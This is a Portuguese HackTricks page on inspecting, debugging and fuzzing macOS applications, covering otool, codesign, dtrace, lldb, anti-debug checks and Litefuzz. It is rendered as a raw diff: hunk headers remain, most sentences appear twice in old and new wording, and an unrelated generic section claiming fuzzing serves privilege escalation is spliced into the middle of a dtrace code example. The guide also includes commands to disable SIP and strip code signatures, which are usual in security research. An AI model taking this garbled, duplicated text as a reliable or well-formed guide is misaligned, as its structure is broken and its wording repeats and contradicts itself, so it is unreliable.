* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Análise estática
## Análise Estática
### otool
```bash
@ -21,7 +21,19 @@ otool -tv /bin/ps #Decompile application
```
### objdump
O comando `objdump` é uma ferramenta de linha de comando que permite inspecionar arquivos binários e executáveis. Ele pode ser usado para visualizar informações sobre seções, símbolos, relocs e outras informações úteis. O `objdump` é uma ferramenta útil para analisar binários e executáveis em busca de vulnerabilidades e outras informações importantes.
O comando `objdump` é uma ferramenta de linha de comando que permite inspecionar arquivos binários e executáveis no macOS. Ele fornece informações detalhadas sobre o conteúdo do arquivo, como seções, símbolos, instruções de montagem e muito mais.
O `objdump` pode ser usado para analisar e depurar aplicativos no macOS, identificando vulnerabilidades e possíveis pontos fracos. Ele também pode ser usado para examinar o código de terceiros e entender como um aplicativo funciona internamente.
Para usar o `objdump`, basta executar o comando seguido do caminho para o arquivo binário ou executável que deseja inspecionar. Por exemplo:
```
objdump -d /path/to/executable
```
Isso exibirá o código de montagem do arquivo, permitindo que você analise as instruções e entenda o fluxo de execução do programa.
O `objdump` é uma ferramenta poderosa para inspecionar e depurar aplicativos no macOS. No entanto, é importante usá-lo com responsabilidade e apenas para fins legais e éticos, como teste de segurança e análise de código.
```bash
objdump -m --dylibs-used /bin/ls #List dynamically linked libraries
objdump -m -h /bin/ls # Get headers information
@ -31,7 +43,7 @@ objdump -d /bin/ls # Dissasemble the binary
```
### jtool2
A ferramenta pode ser usada como um **substituto** para **codesign**, **otool** e **objdump**, e fornece algumas funcionalidades adicionais.
A ferramenta pode ser usada como um **substituto** para **codesign**, **otool** e **objdump**, e oferece algumas funcionalidades adicionais.
```bash
# Install
brew install --cask jtool2
@ -48,7 +60,17 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
```
### Codesign
Codesign é uma ferramenta de linha de comando que permite assinar digitalmente aplicativos e arquivos no macOS. A assinatura digital é usada para verificar a integridade e autenticidade do aplicativo ou arquivo. Isso é importante para garantir que o aplicativo ou arquivo não tenha sido modificado ou corrompido por terceiros mal-intencionados. A assinatura digital também é usada para permitir que o aplicativo ou arquivo seja executado em sistemas macOS com Gatekeeper habilitado.
O comando `codesign` é uma ferramenta de linha de comando no macOS que permite assinar digitalmente aplicativos e bibliotecas para garantir sua autenticidade e integridade. A assinatura digital é um mecanismo de segurança que verifica se o código não foi alterado ou adulterado desde que foi assinado.
A assinatura digital é especialmente importante para aplicativos distribuídos fora da Mac App Store, pois fornece uma maneira de verificar se o aplicativo não foi modificado por terceiros mal-intencionados. Além disso, a assinatura digital é necessária para recursos como a capacidade de acessar certos recursos protegidos do sistema operacional e para permitir que o aplicativo seja executado em sistemas macOS com Gatekeeper habilitado.
O comando `codesign` pode ser usado para inspecionar, adicionar ou remover assinaturas digitais de aplicativos e bibliotecas. Ele também pode ser usado para verificar a validade de uma assinatura digital existente.
A assinatura digital é baseada em certificados de identidade, que são emitidos por uma autoridade de certificação confiável. Ao assinar um aplicativo ou biblioteca, um certificado de identidade é usado para criar uma assinatura digital que é anexada ao código. Quando o aplicativo ou biblioteca é executado, o sistema operacional verifica a assinatura digital usando o certificado de identidade correspondente para garantir que o código não tenha sido alterado.
O comando `codesign` também pode ser usado para especificar requisitos de assinatura, como quais certificados de identidade são aceitos ou quais recursos protegidos do sistema operacional o aplicativo pode acessar. Isso permite que os desenvolvedores controlem quais recursos e permissões são concedidos ao aplicativo.
Em resumo, o comando `codesign` é uma ferramenta essencial para garantir a segurança e a integridade de aplicativos e bibliotecas no macOS, permitindo a verificação da autenticidade do código e a proteção contra modificações não autorizadas.
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -67,11 +89,12 @@ codesign -s <cert-name-keychain> toolsdemo
```
### SuspiciousPackage
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) é uma ferramenta útil para inspecionar arquivos **.pkg** (instaladores) e ver o que está dentro antes de instalá-los. Esses instaladores possuem scripts bash `preinstall` e `postinstall` que os autores de malware geralmente abusam para **persistir** o **malware**.
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) é uma ferramenta útil para inspecionar arquivos **.pkg** (instaladores) e ver o que está dentro antes de instalá-los.\
Esses instaladores possuem scripts bash `preinstall` e `postinstall` que os autores de malware geralmente abusam para **persistir** o **malware**.
### hdiutil
Esta ferramenta permite **montar** imagens de disco Apple (**.dmg**) para inspecioná-las antes de executar qualquer coisa:
Essa ferramenta permite **montar** imagens de disco Apple (**.dmg**) para inspecioná-las antes de executar qualquer coisa:
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
@ -93,21 +116,19 @@ Você pode obter essas informações usando [**class-dump**](https://github.com/
```bash
class-dump Kindle.app
```
Observe que esses nomes podem ser ofuscados para tornar a reversão do binário mais difícil.
#### Chamada de função
Quando uma função é chamada em um binário que usa Objective-C, o código compilado, em vez de chamar essa função, chamará **`objc_msgSend`**. Que chamará a função final:
Quando uma função é chamada em um binário que usa Objective-C, o código compilado, em vez de chamar essa função, chamará **`objc_msgSend`**. Que irá chamar a função final:
![](<../../../.gitbook/assets/image (560).png>)
Os parâmetros que essa função espera são:
* O primeiro parâmetro (**self**) é "um ponteiro que aponta para a **instância da classe que receberá a mensagem**". Ou seja, é o objeto no qual o método está sendo invocado. Se o método for um método de classe, isso será uma instância do objeto da classe (como um todo), enquanto para um método de instância, self apontará para uma instância instanciada da classe como um objeto.
* O primeiro parâmetro (**self**) é "um ponteiro que aponta para a **instância da classe que receberá a mensagem**". Ou de forma mais simples, é o objeto no qual o método está sendo invocado. Se o método for um método de classe, isso será uma instância do objeto da classe (como um todo), enquanto que para um método de instância, self apontará para uma instância instanciada da classe como um objeto.
* O segundo parâmetro (**op**) é "o seletor do método que manipula a mensagem". Novamente, de forma mais simples, este é apenas o **nome do método**.
* Os parâmetros restantes são quaisquer **valores necessários pelo método** (op).
| **Argumento** | **Registrador** | **(para) objc\_msgSend** |
| **Argumento** | **Registrador** | **(para) objc\_msgSend** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
| **1º argumento** | **rdi** | **self: objeto no qual o método está sendo invocado** |
| **2º argumento** | **rsi** | **op: nome do método** |
@ -115,13 +136,13 @@ Os parâmetros que essa função espera são:
| **4º argumento** | **rcx** | **2º argumento para o método** |
| **5º argumento** | **r8** | **3º argumento para o método** |
| **6º argumento** | **r9** | **4º argumento para o método** |
| **7º+ argumento** | <p><strong>rsp+</strong><br><strong>(na pilha)</strong></p> | **5º+ argumento para o método** |
| **7º+ argumento** | <p><strong>rsp+</strong><br><strong>(na pilha)</strong></p> | **5º+ argumento para o método** |
### Swift
Com binários Swift, uma vez que há compatibilidade com Objective-C, às vezes é possível extrair declarações usando [class-dump](https://github.com/nygard/class-dump/), mas nem sempre.
Com binários Swift, como há compatibilidade com Objective-C, às vezes é possível extrair declarações usando [class-dump](https://github.com/nygard/class-dump/), mas nem sempre.
Com as linhas de comando **`jtool -l`** ou **`otool -l`**, é possível encontrar várias seções que começam com o prefixo **`__swift5`**:
Com os comandos de linha **`jtool -l`** ou **`otool -l`**, é possível encontrar várias seções que começam com o prefixo **`__swift5`**:
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@ -133,35 +154,35 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...]
```
Você pode encontrar mais informações sobre as informações armazenadas nessas seções neste [post de blog](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
Você pode encontrar mais informações sobre as seções de informações armazenadas neste [**post do blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
### Binários compactados
* Verifique a entropia alta
* Verifique as strings (se houver quase nenhuma string compreensível, compactada)
* Verifique as strings (se houver quase nenhuma string compreensível, está compactado)
* O empacotador UPX para MacOS gera uma seção chamada "\_\_XHDR"
## Análise dinâmica
## Análise Dinâmica
{% hint style="warning" %}
Observe que, para depurar binários, **o SIP precisa ser desativado** (`csrutil disable` ou `csrutil enable --without debug`) ou copiar os binários para uma pasta temporária e **remover a assinatura** com `codesign --remove-signature <binary-path>` ou permitir a depuração do binário (você pode usar [este script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
Observe que, para depurar binários, o **SIP precisa estar desativado** (`csrutil disable` ou `csrutil enable --without debug`) ou copiar os binários para uma pasta temporária e **remover a assinatura** com `codesign --remove-signature <caminho-do-binário>` ou permitir a depuração do binário (você pode usar [este script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
{% endhint %}
{% hint style="warning" %}
Observe que, para **instrumentar binários do sistema** (como `cloudconfigurationd`) no macOS, **o SIP deve ser desativado** (apenas remover a assinatura não funcionará).
Observe que, para **instrumentar binários do sistema**, (como `cloudconfigurationd`) no macOS, o SIP deve estar desativado (apenas remover a assinatura não funcionará).
{% endhint %}
### Logs unificados
### Logs Unificados
O MacOS gera muitos logs que podem ser muito úteis ao executar um aplicativo tentando entender **o que ele está fazendo**.
O MacOS gera muitos logs que podem ser muito úteis ao executar um aplicativo para entender **o que ele está fazendo**.
Além disso, existem alguns logs que conterão a tag `<private>` para **ocultar** algumas informações **identificáveis** do **usuário** ou do **computador**. No entanto, é possível **instalar um certificado para divulgar essas informações**. Siga as explicações [**aqui**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
Além disso, existem alguns logs que conterão a tag `<private>` para **ocultar** algumas informações **identificáveis do usuário** ou do **computador**. No entanto, é possível **instalar um certificado para divulgar essas informações**. Siga as explicações [**aqui**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
### Hopper
#### Painel esquerdo
No painel esquerdo do Hopper, é possível ver os símbolos (**Labels**) do binário, a lista de procedimentos e funções (**Proc**) e as strings (**Str**). Essas não são todas as strings, mas as definidas em várias partes do arquivo Mac-O (como _cstring ou_ `objc_methname`).
No painel esquerdo do Hopper, é possível ver os símbolos (**Labels**) do binário, a lista de procedimentos e funções (**Proc**) e as strings (**Str**). Essas não são todas as strings, mas aquelas definidas em várias partes do arquivo Mac-O (como _cstring ou_ `objc_methname`).
#### Painel central
@ -169,7 +190,7 @@ No painel central, você pode ver o **código desmontado**. E você pode vê-lo
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
Clicando com o botão direito em um objeto de código, você pode ver **referências para/de esse objeto** ou até mesmo alterar seu nome (isso não funciona no pseudocódigo descompilado):
Ao clicar com o botão direito em um objeto de código, você pode ver **referências para/deste objeto** ou até mesmo alterar seu nome (isso não funciona no pseudocódigo descompilado):
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
@ -177,7 +198,7 @@ Além disso, no **meio inferior, você pode escrever comandos python**.
#### Painel direito
No painel direito, você pode ver informações interessantes, como o **histórico de navegação** (para saber como você chegou à situação atual), o **gráfico de chamadas** onde você pode ver todas as **funções que chamam essa função** e todas as funções que **essa função chama**, e informações de **variáveis locais**.
No painel direito, você pode ver informações interessantes, como o **histórico de navegação** (para saber como você chegou à situação atual), o **gráfico de chamadas** onde você pode ver todas as **funções que chamam essa função** e todas as funções que **essa função chama**, e informações sobre **variáveis locais**.
### dtruss
```bash
@ -192,9 +213,9 @@ ktrace trace -s -S -t c -c ls | grep "ls("
```
### dtrace
Ele permite que os usuários acessem aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo mudarem seu fluxo de execução. O Dtrace usa **sondas** que são **colocadas em todo o kernel** e estão em locais como o início e o fim das chamadas do sistema.
Ele permite que os usuários acessem aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo alterarem seu fluxo de execução. O Dtrace usa **sondas** que são **colocadas em todo o kernel** e estão em locais como o início e o fim das chamadas do sistema.
O DTrace usa a função **`dtrace_probe_create`** para criar uma sonda para cada chamada do sistema. Essas sondas podem ser disparadas no **ponto de entrada e saída de cada chamada do sistema**. A interação com o DTrace ocorre por meio do /dev/dtrace, que está disponível apenas para o usuário root.
O DTrace usa a função **`dtrace_probe_create`** para criar uma sonda para cada chamada do sistema. Essas sondas podem ser disparadas no **ponto de entrada e saída de cada chamada do sistema**. A interação com o DTrace ocorre através do /dev/dtrace, que está disponível apenas para o usuário root.
As sondas disponíveis do dtrace podem ser obtidas com:
```bash
@ -206,7 +227,7 @@ ID PROVIDER MODULE FUNCTION NAME
43 profile profile-97
44 profile profile-199
```
O nome da sonda consiste em quatro partes: o provedor, o módulo, a função e o nome (`fbt:mach_kernel:ptrace:entry`). Se você não especificar alguma parte do nome, o Dtrace aplicará essa parte como um caractere curinga.
O nome da sonda consiste em quatro partes: o provedor, módulo, função e nome (`fbt:mach_kernel:ptrace:entry`). Se você não especificar alguma parte do nome, o Dtrace a considerará como um caractere curinga.
Para configurar o DTrace para ativar sondas e especificar quais ações executar quando elas são acionadas, precisaremos usar a linguagem D.
@ -214,14 +235,40 @@ Uma explicação mais detalhada e mais exemplos podem ser encontrados em [https:
#### Exemplos
Execute `man -k dtrace` para listar os **scripts DTrace disponíveis**. Exemplo: `sudo dtruss -n binary`
Execute `man -k dtrace` para listar os **scripts do DTrace disponíveis**. Exemplo: `sudo dtruss -n binary`
* Em linha
* Na linha
```bash
#Count the number of syscalls of each running process
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
```
* script
# Inspeção, Depuração e Fuzzing de Aplicativos no macOS
Neste guia, exploraremos técnicas para inspecionar, depurar e realizar fuzzing em aplicativos no macOS. Essas técnicas são úteis para identificar vulnerabilidades e realizar escalonamento de privilégios.
## Inspeção de Aplicativos
A inspeção de aplicativos envolve examinar o código e a estrutura interna de um aplicativo para identificar possíveis vulnerabilidades. Existem várias ferramentas disponíveis para ajudar nesse processo, como:
- **Hopper**: uma ferramenta de desmontagem que permite visualizar o código de um aplicativo.
- **class-dump**: uma ferramenta que extrai informações sobre as classes e métodos de um aplicativo.
- **otool**: uma ferramenta que exibe informações sobre os binários de um aplicativo.
## Depuração de Aplicativos
A depuração de aplicativos é o processo de rastrear e corrigir erros em um aplicativo. No macOS, podemos usar o **lldb** (Low-Level Debugger) para depurar aplicativos. Algumas das principais funcionalidades do lldb incluem:
- Definir pontos de interrupção para pausar a execução do aplicativo em um determinado ponto.
- Examinar e modificar variáveis e registros durante a execução do aplicativo.
- Rastrear a pilha de chamadas para entender o fluxo de execução do aplicativo.
## Fuzzing de Aplicativos
O fuzzing é uma técnica usada para encontrar vulnerabilidades em aplicativos por meio da inserção de dados aleatórios ou inválidos. No macOS, podemos usar a ferramenta **AFL (American Fuzzy Lop)** para realizar fuzzing em aplicativos. O AFL é capaz de gerar entradas de teste automaticamente e identificar falhas de segurança.
## Conclusão
A inspeção, depuração e fuzzing de aplicativos no macOS são técnicas valiosas para identificar vulnerabilidades e realizar escalonamento de privilégios. Ao utilizar as ferramentas e técnicas mencionadas neste guia, você poderá fortalecer a segurança de seus aplicativos e proteger seus sistemas contra possíveis ataques.
```bash
syscall:::entry
/pid == $1/
@ -267,6 +314,12 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) permite monitorar eventos de arquivos (como criação, modificações e exclusões), fornecendo informações detalhadas sobre esses eventos.
### Apple Instruments
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) fazem parte das ferramentas de desenvolvedor do Xcode - usadas para monitorar o desempenho do aplicativo, identificar vazamentos de memória e rastrear a atividade do sistema de arquivos.
![](<../../../.gitbook/assets/image (15).png>)
### fs\_usage
Permite acompanhar as ações executadas pelos processos:
@ -277,38 +330,42 @@ fs_usage -w -f network curl #This tracks network actions
### TaskExplorer
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) é útil para ver as **bibliotecas** usadas por um binário, os **arquivos** que ele está usando e as **conexões de rede**.\
Ele também verifica os processos binários contra o **virustotal** e mostra informações sobre o binário.
Ele também verifica os processos binários no **virustotal** e mostra informações sobre o binário.
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
Neste [**post de blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html), você pode encontrar um exemplo de como **depurar um daemon em execução** que usou **`PT_DENY_ATTACH`** para evitar a depuração, mesmo que o SIP estivesse desativado.
Neste [**post do blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html), você pode encontrar um exemplo de como **depurar um daemon em execução** que usa **`PT_DENY_ATTACH`** para evitar a depuração, mesmo que o SIP esteja desativado.
### lldb
**lldb** é a ferramenta de **fato** para **depuração** de binários **macOS**.
**lldb** é a ferramenta de **fato** para **depuração** de binários no **macOS**.
```bash
lldb ./malware.bin
lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
{% hint style="warning" %}
Dentro do lldb, faça o dump de um processo com `process save-core`
{% endhint %}
| **Comando (lldb)** | **Descrição** |
| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **run (r)** | Inicia a execução, que continuará sem interrupção até que um ponto de interrupção seja atingido ou o processo seja encerrado. |
| **continue (c)** | Continua a execução do processo depurado. |
| **nexti (n / ni)** | Executa a próxima instrução. Este comando irá pular chamadas de função. |
| **stepi (s / si)** | Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função. |
| **finish (f)** | Executa o restante das instruções na função atual ("frame"), retorna e para. |
| **control + c** | Pausa a execução. Se o processo foi executado (r) ou continuado (c), isso fará com que o processo pare... onde quer que esteja executando no momento. |
| **breakpoint (b)** | <p>b main</p><p>b -[NSDictionary objectForKey:]</p><p>b 0x0000000100004bd9</p><p>br l #Lista de pontos de interrupção</p><p>br e/dis &#x3C;num> #Ativar/Desativar ponto de interrupção</p><p>breakpoint delete &#x3C;num><br>b set -n main --shlib &#x3C;lib_name></p> |
| **help** | <p>help breakpoint #Obter ajuda do comando de ponto de interrupção</p><p>help memory write #Obter ajuda para escrever na memória</p> |
| **run (r)** | Inicia a execução, que continuará até que um ponto de interrupção seja atingido ou o processo seja encerrado. |
| **continue (c)** | Continua a execução do processo em depuração. |
| **nexti (n / ni)** | Executa a próxima instrução. Este comando irá pular chamadas de função. |
| **stepi (s / si)** | Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função. |
| **finish (f)** | Executa o restante das instruções na função atual ("frame") e retorna. |
| **control + c** | Pausa a execução. Se o processo foi iniciado (r) ou continuado (c), isso fará com que o processo pare ... onde quer que esteja executando no momento. |
| **breakpoint (b)** | <p>b main</p><p>b -[NSDictionary objectForKey:]</p><p>b 0x0000000100004bd9</p><p>br l #Lista de pontos de interrupção</p><p>br e/dis &#x3C;num> #Habilitar/Desabilitar ponto de interrupção</p><p>breakpoint delete &#x3C;num><br>b set -n main --shlib &#x3C;lib_name></p> |
| **help** | <p>help breakpoint #Obter ajuda sobre o comando breakpoint</p><p>help memory write #Obter ajuda para escrever na memória</p> |
| **reg** | <p>reg read</p><p>reg read $rax</p><p>reg write $rip 0x100035cc0</p> |
| **x/s \<reg/memory address>** | Exibe a memória como uma string terminada em nulo. |
| **x/i \<reg/memory address>** | Exibe a memória como instrução de montagem. |
| **x/b \<reg/memory address>** | Exibe a memória como byte. |
| **x/s \<reg/endereço de memória>** | Exibe a memória como uma string terminada em nulo. |
| **x/i \<reg/endereço de memória>** | Exibe a memória como instrução de montagem. |
| **x/b \<reg/endereço de memória>** | Exibe a memória como byte. |
| **print object (po)** | <p>Isso irá imprimir o objeto referenciado pelo parâmetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Observe que a maioria das APIs ou métodos Objective-C da Apple retornam objetos e, portanto, devem ser exibidos por meio do comando "print object" (po). Se po não produzir uma saída significativa, use <code>x/b</code></p> |
| **memory** | <p>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escreve AAAA nesse endereço<br>memory write -f s $rip+0x11f+7 "AAAA" #Escreve AAAA no endereço</p> |
| **disassembly** | <p>dis #Desmonta a função atual<br>dis -c 6 #Desmonta 6 linhas<br>dis -c 0x100003764 -e 0x100003768 #De um endereço até o outro<br>dis -p -c 4 #Começa no endereço atual desmontando</p> |
| **disassembly** | <p>dis #Desmonta a função atual<br>dis -c 6 #Desmonta 6 linhas<br>dis -c 0x100003764 -e 0x100003768 # De um endereço até o outro<br>dis -p -c 4 # Inicia no endereço atual desmontando</p> |
| **parray** | parray 3 (char \*\*)$x1 #Verifica o array de 3 componentes no registro x1 |
{% hint style="info" %}
@ -327,24 +384,24 @@ Ao chamar a função **`objc_sendMsg`**, o registro **rsi** contém o **nome do
#### Detecção de VM
* O comando **`sysctl hw.model`** retorna "Mac" quando o **host é um MacOS**, mas algo diferente quando é uma VM.
* Manipulando os valores de **`hw.logicalcpu`** e **`hw.physicalcpu`**, alguns malwares tentam detectar se é uma VM.
* Brincando com os valores de **`hw.logicalcpu`** e **`hw.physicalcpu`**, alguns malwares tentam detectar se é uma VM.
* Alguns malwares também podem **detectar** se a máquina é baseada no VMware pelo endereço MAC (00:50:56).
* Também é possível encontrar **se um processo está sendo depurado** com um código simples como:
* Também é possível descobrir se um processo está sendo depurado com um código simples como:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processo sendo depurado }`
* Também pode invocar a chamada do sistema **`ptrace`** com a flag **`PT_DENY_ATTACH`**. Isso **impede** um depurador de anexar e rastrear.
* Também pode invocar a chamada de sistema **`ptrace`** com a flag **`PT_DENY_ATTACH`**. Isso **impede** um depurador de anexar e rastrear.
* Você pode verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware pode importá-la dinamicamente)
* Como observado neste artigo, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_A mensagem Process # exited with **status = 45 (0x0000002d)** é geralmente um sinal revelador de que o alvo de depuração está usando **PT\_DENY\_ATTACH**_”
“_A mensagem Processo # saiu com **status = 45 (0x0000002d)** é geralmente um sinal revelador de que o alvo de depuração está usando **PT\_DENY\_ATTACH**_”
## Fuzzing
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash **analisa processos que falharam e salva um relatório de falha no disco**. Um relatório de falha contém informações que podem **ajudar um desenvolvedor a diagnosticar** a causa de uma falha.\
Para aplicativos e outros processos **executados no contexto do launchd por usuário**, o ReportCrash é executado como um LaunchAgent e salva relatórios de falhas em `~/Library/Logs/DiagnosticReports/` do usuário.\
Para daemons, outros processos **executados no contexto do launchd do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e salva relatórios de falhas em `/Library/Logs/DiagnosticReports` do sistema.
ReportCrash **analisa processos que estão travando e salva um relatório de travamento no disco**. Um relatório de travamento contém informações que podem **ajudar um desenvolvedor a diagnosticar** a causa de um travamento.\
Para aplicativos e outros processos **executados no contexto do launchd por usuário**, o ReportCrash é executado como um LaunchAgent e salva os relatórios de travamento em `~/Library/Logs/DiagnosticReports/` do usuário.\
Para daemons, outros processos **executados no contexto do launchd do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e salva os relatórios de travamento em `/Library/Logs/DiagnosticReports` do sistema.
Se você está preocupado com os relatórios de falhas **sendo enviados para a Apple**, você pode desativá-los. Caso contrário, os relatórios de falhas podem ser úteis para **descobrir como um servidor falhou**.
Se você está preocupado com os relatórios de travamento **sendo enviados para a Apple**, você pode desativá-los. Caso contrário, os relatórios de travamento podem ser úteis para **descobrir como um servidor travou**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -354,9 +411,9 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Roo
launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist
```
### Dormir
### Sleep
Ao fazer fuzzing em um MacOS, é importante não permitir que o Mac durma:
Durante a realização de fuzzing em um MacOS, é importante não permitir que o Mac entre em modo de repouso:
* systemsetup -setsleep Never
* pmset, Preferências do Sistema
@ -364,7 +421,7 @@ Ao fazer fuzzing em um MacOS, é importante não permitir que o Mac durma:
#### Desconexão SSH
Se você estiver fazendo fuzzing por meio de uma conexão SSH, é importante garantir que a sessão não vá expirar. Portanto, altere o arquivo sshd\_config com:
Se você estiver realizando fuzzing por meio de uma conexão SSH, é importante garantir que a sessão não seja encerrada. Portanto, altere o arquivo sshd\_config com:
* TCPKeepAlive Yes
* ClientAliveInterval 0
@ -375,7 +432,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
### Manipuladores Internos
**Confira a seguinte página** para descobrir como você pode encontrar qual aplicativo é responsável por **manipular o esquema ou protocolo especificado:**
**Verifique a seguinte página** para descobrir como você pode encontrar qual aplicativo é responsável por **manipular o esquema ou protocolo especificado:**
{% content-ref url="../macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
@ -404,11 +461,11 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
Funciona para ferramentas CLI.
Funciona para ferramentas de linha de comando.
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
Ele "**simplesmente funciona"** com ferramentas GUI do macOS. Observe que alguns aplicativos do macOS têm requisitos específicos, como nomes de arquivos exclusivos, a extensão correta, a necessidade de ler os arquivos do sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Ele "**simplesmente funciona"** com ferramentas de GUI do macOS. Observe que alguns aplicativos do macOS têm requisitos específicos, como nomes de arquivos exclusivos, a extensão correta e a necessidade de ler os arquivos do sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Alguns exemplos:
@ -436,6 +493,8 @@ litefuzz -lk -c "smbutil view smb://localhost:4455" -a tcp://localhost:4455 -i i
# screensharingd (using pcap capture)
litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash screensharingd -p -n 100000
```
{% endcode %}
### Mais informações sobre Fuzzing no MacOS
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
@ -453,10 +512,10 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
